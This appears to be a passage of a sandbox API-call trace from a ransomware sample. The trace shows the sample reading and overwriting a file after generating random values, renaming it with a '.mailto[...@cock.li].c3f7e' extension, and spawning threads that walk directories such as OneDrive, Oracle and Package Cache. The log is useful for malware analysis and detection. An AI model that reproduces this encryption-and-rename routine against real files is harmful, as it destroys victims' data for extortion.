	[0092.519] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\0d0d4eeb-dc03-4b3f-88df-959fe1ede5f4\\en-us.16\\masterdescriptor.en-us.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1370
	[0092.519] GetFileSizeEx (in: hFile=0x1370, lpFileSize=0xf3bfa84 | out: lpFileSize=0xf3bfa84*=22095) returned 1
	[0092.519] SetFilePointerEx (in: hFile=0x1370, liDistanceToMove=0x564b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.519] ReadFile (in: hFile=0x1370, lpBuffer=0xf3bfa08, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf3bfa04, lpOverlapped=0x0 | out: lpBuffer=0xf3bfa08*, lpNumberOfBytesRead=0xf3bfa04*=0x4, lpOverlapped=0x0) returned 1
	[0092.534] SetFilePointerEx (in: hFile=0x1370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.534] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731920
	[0092.534] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x47319e8
	[0092.534] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731a88
	[0092.534] NtQuerySystemTime (in: CurrentTime=0xf3bf9e4 | out: CurrentTime=0xf3bf9e4*=132251868192752663) returned 0x0
	[0092.534] RtlRandom (in: Seed=0xf3bf9f0 | out: Seed=0xf3bf9f0) returned 0xe1c780ad
	[0092.534] RtlRandom (in: Seed=0xf3bf9f0 | out: Seed=0xf3bf9f0) returned 0xbfc14ad0
	[0092.534] RtlRandom (in: Seed=0xf3bf9f0 | out: Seed=0xf3bf9f0) returned 0xd3cc8686
	[0092.534] RtlRandom (in: Seed=0xf3bf9f0 | out: Seed=0xf3bf9f0) returned 0x2a6c7a35
	[0092.534] RtlRandom (in: Seed=0xf3bf9f0 | out: Seed=0xf3bf9f0) returned 0x97665251
	[0092.534] RtlRandom (in: Seed=0xf3bf9f0 | out: Seed=0xf3bf9f0) returned 0x2406f37c
	[0092.534] RtlRandom (in: Seed=0xf3bf9f0 | out: Seed=0xf3bf9f0) returned 0x8092e63b
	[0092.534] RtlRandom (in: Seed=0xf3bf9f0 | out: Seed=0xf3bf9f0) returned 0x30ed763
	[0092.534] RtlRandom (in: Seed=0xf3bf9f0 | out: Seed=0xf3bf9f0) returned 0x545c9a6
	[0092.534] RtlRandom (in: Seed=0xf3bf9f0 | out: Seed=0xf3bf9f0) returned 0xe1b043f
	[0092.534] RtlRandom (in: Seed=0xf3bf9f0 | out: Seed=0xf3bf9f0) returned 0xae80233e
	[0092.534] RtlRandom (in: Seed=0xf3bf9f0 | out: Seed=0xf3bf9f0) returned 0x263dc1d9
	[0092.534] RtlRandom (in: Seed=0xf3bf9f0 | out: Seed=0xf3bf9f0) returned 0xd9076eab
	[0092.534] RtlRandom (in: Seed=0xf3bf9f0 | out: Seed=0xf3bf9f0) returned 0x8965e00e
	[0092.534] RtlRandom (in: Seed=0xf3bf9f0 | out: Seed=0xf3bf9f0) returned 0x44a5fc73
	[0092.535] RtlRandom (in: Seed=0xf3bf9f0 | out: Seed=0xf3bf9f0) returned 0xebd46e03
	[0092.535] RtlRandom (in: Seed=0xf3bf9f0 | out: Seed=0xf3bf9f0) returned 0x372e665a
	[0092.535] RtlRandom (in: Seed=0xf3bf9f0 | out: Seed=0xf3bf9f0) returned 0x5681f0ed
	[0092.535] RtlRandom (in: Seed=0xf3bf9f0 | out: Seed=0xf3bf9f0) returned 0xfc545e7c
	[0092.535] RtlRandom (in: Seed=0xf3bf9f0 | out: Seed=0xf3bf9f0) returned 0xcba61818
	[0092.535] RtlRandom (in: Seed=0xf3bf9f0 | out: Seed=0xf3bf9f0) returned 0xea507103
	[0092.535] RtlRandom (in: Seed=0xf3bf9f0 | out: Seed=0xf3bf9f0) returned 0xdca63a01
	[0092.535] RtlRandom (in: Seed=0xf3bf9f0 | out: Seed=0xf3bf9f0) returned 0x9c0064ff
	[0092.535] RtlRandom (in: Seed=0xf3bf9f0 | out: Seed=0xf3bf9f0) returned 0x7d07219b
	[0092.535] RtlRandom (in: Seed=0xf3bf9f0 | out: Seed=0xf3bf9f0) returned 0xa7f46af
	[0092.535] RtlRandom (in: Seed=0xf3bf9f0 | out: Seed=0xf3bf9f0) returned 0x93ebfb24
	[0092.535] RtlRandom (in: Seed=0xf3bf9f0 | out: Seed=0xf3bf9f0) returned 0x81bfabf6
	[0092.535] RtlRandom (in: Seed=0xf3bf9f0 | out: Seed=0xf3bf9f0) returned 0x843bf879
	[0092.535] RtlRandom (in: Seed=0xf3bf9f0 | out: Seed=0xf3bf9f0) returned 0xb353e788
	[0092.535] RtlRandom (in: Seed=0xf3bf9f0 | out: Seed=0xf3bf9f0) returned 0xe4bc50ee
	[0092.535] RtlRandom (in: Seed=0xf3bf9f0 | out: Seed=0xf3bf9f0) returned 0x7111e380
	[0092.535] RtlRandom (in: Seed=0xf3bf9f0 | out: Seed=0xf3bf9f0) returned 0x5bf6dd93
	[0092.543] ReadFile (in: hFile=0x1370, lpBuffer=0x50ef8b8, nNumberOfBytesToRead=0x564f, lpNumberOfBytesRead=0xf3bf9e0, lpOverlapped=0x0 | out: lpBuffer=0x50ef8b8*, lpNumberOfBytesRead=0xf3bf9e0*=0x564f, lpOverlapped=0x0) returned 1
	[0092.545] SetFilePointerEx (in: hFile=0x1370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.545] WriteFile (in: hFile=0x1370, lpBuffer=0x50fc0c0*, nNumberOfBytesToWrite=0x564f, lpNumberOfBytesWritten=0xf3bf9dc, lpOverlapped=0x0 | out: lpBuffer=0x50fc0c0*, lpNumberOfBytesWritten=0xf3bf9dc*=0x564f, lpOverlapped=0x0) returned 1
	[0092.546] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731920
	[0092.546] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731a88
	[0092.546] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731a88) returned 1
	[0092.546] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50fc0c0) returned 1
	[0092.546] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50ef8b8) returned 1
	[0092.546] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e046a8) returned 1
	[0092.546] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfae80) returned 1
	[0092.546] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x41) returned 0x2e01a30
	[0092.546] SetFilePointerEx (in: hFile=0x1370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.546] WriteFile (in: hFile=0x1370, lpBuffer=0x2d89108*, nNumberOfBytesToWrite=0x125, lpNumberOfBytesWritten=0xf3bfa44, lpOverlapped=0x0 | out: lpBuffer=0x2d89108*, lpNumberOfBytesWritten=0xf3bfa44*=0x125, lpOverlapped=0x0) returned 1
	[0092.547] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89108) returned 1
	[0092.547] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e01ad0) returned 1
	[0092.547] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731bc8) returned 1
	[0092.547] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e01a30) returned 1
	[0092.547] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731920) returned 1
	[0092.547] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47319e8) returned 1
	[0092.547] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731b50) returned 1
	[0092.548] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731ba0) returned 1
	[0092.548] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x128) returned 0x2d89108
	[0092.548] wcscpy (in: _Dest=0x2d89108, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml"
	[0092.548] wcscat (in: _Dest=0x2d89108, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0092.548] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0xf3bf9fc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\All Users\\Microsoft\\ClickToRun\\0D0D4EEB-DC03-4B3F-88DF-959FE1EDE5F4\\en-us.16\\MasterDescriptor.en-us.xml.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0092.548] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x13e) returned 0x498ec08
	[0092.549] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x498ec08) returned 1
	[0092.549] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4ebc8c8) returned 1
	[0092.549] NtQueryInformationFile (in: FileHandle=0x1370, IoStatusBlock=0xf3bfa08, FileInformation=0xf3bf9e0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xf3bfa08, FileInformation=0xf3bf9e0) returned 0x0
	[0092.549] NtSetInformationFile (FileHandle=0x1370, IoStatusBlock=0xf3bfa08, FileInformation=0xf3bf9e0, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0092.550] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d89108) returned 1
	[0092.550] FlushFileBuffers (hFile=0x1370) returned 1
	[0093.280] CloseHandle (hObject=0x1370) 

Thread:
	id = 359
	os_tid = 0x14c4

	[0076.900] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x50) returned 0x2dac1b8
	[0076.901] wcscpy (in: _Dest=0x2dac1b8, _Source="C:\\Users\\All Users\\Microsoft OneDrive" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive") returned="C:\\Users\\All Users\\Microsoft OneDrive"
	[0076.901] wcscat (in: _Dest=0x2dac1b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive\\") returned="C:\\Users\\All Users\\Microsoft OneDrive\\"
	[0076.901] wcscat (in: _Dest=0x2dac1b8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive\\*") returned="C:\\Users\\All Users\\Microsoft OneDrive\\*"
	[0076.901] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dde6d8
	[0076.901] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft OneDrive\\*", lpFindFileData=0x2dde6d8 | out: lpFindFileData=0x2dde6d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3ecd6462, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2dacdf8
	[0079.025] wcscmp (_String1=".", _String2=".") returned 0
	[0079.025] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2dde6d8 | out: lpFindFileData=0x2dde6d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3ecd6462, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x3ecd6462, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.025] wcscmp (_String1="..", _String2=".") returned 1
	[0079.025] wcscmp (_String1="..", _String2="..") returned 0
	[0079.025] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2dde6d8 | out: lpFindFileData=0x2dde6d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup", cAlternateFileName="")) returned 1
	[0079.025] wcscmp (_String1="setup", _String2=".") returned 1
	[0079.025] wcscmp (_String1="setup", _String2="..") returned 1
	[0079.025] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x58) returned 0x2daee88
	[0079.025] wcscpy (in: _Dest=0x2daee88, _Source="C:\\Users\\All Users\\Microsoft OneDrive" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive") returned="C:\\Users\\All Users\\Microsoft OneDrive"
	[0079.025] wcscat (in: _Dest=0x2daee88, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive\\") returned="C:\\Users\\All Users\\Microsoft OneDrive\\"
	[0079.025] wcscat (in: _Dest=0x2daee88, _Source="setup" | out: _Dest="C:\\Users\\All Users\\Microsoft OneDrive\\setup") returned="C:\\Users\\All Users\\Microsoft OneDrive\\setup"
	[0079.025] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2daee88, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xff4
	[0079.026] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2dde6d8 | out: lpFindFileData=0x2dde6d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3ecd6462, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xe877edbb, ftLastAccessTime.dwHighDateTime=0x1d38c43, ftLastWriteTime.dwLowDateTime=0xe877edbb, ftLastWriteTime.dwHighDateTime=0x1d38c43, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup", cAlternateFileName="")) returned 0
	[0079.026] FindClose (in: hFindFile=0x2dacdf8 | out: hFindFile=0x2dacdf8) returned 1
	[0079.026] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dde6d8) returned 1
	[0079.026] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dac1b8) returned 1
	[0079.026] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d85868) returned 1

Thread:
	id = 360
	os_tid = 0x14c8

	[0076.901] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x38) returned 0x2dacfb8
	[0076.901] wcscpy (in: _Dest=0x2dacfb8, _Source="C:\\Users\\All Users\\Oracle" | out: _Dest="C:\\Users\\All Users\\Oracle") returned="C:\\Users\\All Users\\Oracle"
	[0076.901] wcscat (in: _Dest=0x2dacfb8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\") returned="C:\\Users\\All Users\\Oracle\\"
	[0076.901] wcscat (in: _Dest=0x2dacfb8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Oracle\\*") returned="C:\\Users\\All Users\\Oracle\\*"
	[0076.901] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2dde940
	[0076.901] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Oracle\\*", lpFindFileData=0x2dde940 | out: lpFindFileData=0x2dde940*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa2d56a03, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2daccf8
	[0079.104] wcscmp (_String1=".", _String2=".") returned 0
	[0079.104] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x2dde940 | out: lpFindFileData=0x2dde940*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa2d56a03, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa2d56a03, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.104] wcscmp (_String1="..", _String2=".") returned 1
	[0079.104] wcscmp (_String1="..", _String2="..") returned 0
	[0079.104] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x2dde940 | out: lpFindFileData=0x2dde940*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad14ee36, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1
	[0079.104] wcscmp (_String1="Java", _String2=".") returned 1
	[0079.104] wcscmp (_String1="Java", _String2="..") returned 1
	[0079.104] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x3e) returned 0x2dfafa0
	[0079.104] wcscpy (in: _Dest=0x2dfafa0, _Source="C:\\Users\\All Users\\Oracle" | out: _Dest="C:\\Users\\All Users\\Oracle") returned="C:\\Users\\All Users\\Oracle"
	[0079.104] wcscat (in: _Dest=0x2dfafa0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Oracle\\") returned="C:\\Users\\All Users\\Oracle\\"
	[0079.104] wcscat (in: _Dest=0x2dfafa0, _Source="Java" | out: _Dest="C:\\Users\\All Users\\Oracle\\Java") returned="C:\\Users\\All Users\\Oracle\\Java"
	[0079.104] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x2dfafa0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10bc
	[0079.105] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x2dde940 | out: lpFindFileData=0x2dde940*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa2d56a03, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xad14ee36, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xad14ee36, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0
	[0079.105] FindClose (in: hFindFile=0x2daccf8 | out: hFindFile=0x2daccf8) returned 1
	[0079.105] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dde940) returned 1
	[0079.105] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dacfb8) returned 1
	[0079.105] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d70ac0) returned 1

Thread:
	id = 361
	os_tid = 0x14cc

	[0076.902] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x46) returned 0x2e298b0
	[0076.902] wcscpy (in: _Dest=0x2e298b0, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache"
	[0076.902] wcscat (in: _Dest=0x2e298b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\"
	[0076.902] wcscat (in: _Dest=0x2e298b0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\*") returned="C:\\Users\\All Users\\Package Cache\\*"
	[0076.902] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x2ddeba8
	[0076.902] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\*", lpFindFileData=0x2ddeba8 | out: lpFindFileData=0x2ddeba8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdefc9a0c, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2d87338
	[0079.932] wcscmp (_String1=".", _String2=".") returned 0
	[0079.932] FindNextFileW (in: hFindFile=0x2d87338, lpFindFileData=0x2ddeba8 | out: lpFindFileData=0x2ddeba8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdefc9a0c, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdefc9a0c, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0079.932] wcscmp (_String1="..", _String2=".") returned 1
	[0079.932] wcscmp (_String1="..", _String2="..") returned 0
	[0079.932] FindNextFileW (in: hFindFile=0x2d87338, lpFindFileData=0x2ddeba8 | out: lpFindFileData=0x2ddeba8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd26065d8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e0f451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", cAlternateFileName="{13A4E~1.210")) returned 1
	[0079.932] wcscmp (_String1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", _String2=".") returned 1
	[0079.932] wcscmp (_String1="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005", _String2="..") returned 1
	[0079.932] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xa6) returned 0x2d5cbc8
	[0079.932] wcscpy (in: _Dest=0x2d5cbc8, _Source="C:\\Users\\All Users\\Package Cache" | out: _Dest="C:\\Users\\All Users\\Package Cache") returned="C:\\Users\\All Users\\Package Cache"
	[0079.932] wcscat (in: _Dest=0x2d5cbc8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\") returned="C:\\Users\\All Users\\Package Cache\\"
	[0079.932] wcscat (in: _Dest=0x2d5cbc8, _Source="{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005"
	[0092.464] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x481bce8
	[0092.464] wcscpy (in: _Dest=0x481bce8, _Source="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005"
	[0092.464] wcscat (in: _Dest=0x481bce8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\"
	[0092.464] wcscat (in: _Dest=0x481bce8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*"
	[0092.464] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4712c10
	[0092.464] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\*", lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd26065d8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e0f451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b028
	[0092.464] wcscmp (_String1=".", _String2=".") returned 0
	[0092.464] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd26065d8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e0f451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.464] wcscmp (_String1="..", _String2=".") returned 1
	[0092.464] wcscmp (_String1="..", _String2="..") returned 0
	[0092.464] FindNextFileW (in: hFindFile=0x477b028, lpFindFileData=0x4712c10 | out: lpFindFileData=0x4712c10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd262c839, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e72597, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd262c839, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0092.464] wcscmp (_String1="packages", _String2=".") returned 1
	[0092.464] wcscmp (_String1="packages", _String2="..") returned 1
	[0092.465] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2d320
